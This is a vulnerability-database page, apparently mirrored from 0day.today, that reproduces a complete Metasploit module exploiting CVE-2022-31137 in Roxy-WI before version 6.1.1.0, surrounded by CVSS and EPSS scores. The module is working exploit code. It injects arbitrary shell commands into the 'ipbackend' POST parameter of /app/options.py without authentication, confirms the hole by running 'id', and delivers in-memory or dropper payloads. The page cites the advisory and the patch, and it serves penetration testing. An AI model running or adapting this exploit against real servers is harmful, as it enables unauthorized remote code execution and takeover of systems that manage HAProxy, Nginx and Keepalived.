Lucene search

K
zdtMetasploit1337DAY-ID-37859
HistoryJul 26, 2022 - 12:00 a.m.

Roxy-WI Remote Command Execution Exploit

2022-07-2600:00:00
metasploit
0day.today
410
remote code execution
roxy-wi
unauthenticated
command injection
haproxy
nginx
keepalived
cve-2022-31137
linux
unix
http
exploit
vulnerability
metasploit
advisory
patch
ssh.

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

0.949 High

EPSS

Percentile

99.3%

This Metasploit module exploits an unauthenticated command injection vulnerability in Roxy-WI versions prior to 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user. Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability in Roxy-WI
          prior to version 6.1.1.0. Successful exploitation results in remote code execution
          under the context of the web server user.

          Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Nuri Γ‡ilengir <nuri[at]prodaft.com>', # Author & Metasploit module
        ],
        'References' => [
          ['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory
          ['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information
          ['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch
          ['CVE', '2022-31137']
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'WfsDelay' => 25
        },
        'Platform' => %w[unix linux],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :in_memory
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper
            }
          ]
        ],
        'CmdStagerFlavor' => ['printf'],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2022-07-06',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(443),
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
      ]
    )
  end

  def execute_command(cmd, _opts = {})
    return send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),
        'vars_post' => {
          'serv' => '127.0.0.1',
          'ipbackend' => "\"; #{cmd} ;#",
          'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),
          'backend_server' => '127.0.0.1'
        }
      }, 10
    )
  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT
    return nil
  end

  def check
    print_status("Checking if #{peer} is vulnerable!")

    res = execute_command('id')

    return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res

    if res.code == 200 && res.body =~ /uid=\d+\(.+\)/
      print_status("#{peer} is vulnerable!")
      return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
    elsif res.code == 200
      return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')
    else
      return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")
    end
  end

  def exploit
    print_status('Exploiting...')
    case target['Type']
    when :in_memory
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager
    end
  end
end

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

0.949 High

EPSS

Percentile

99.3%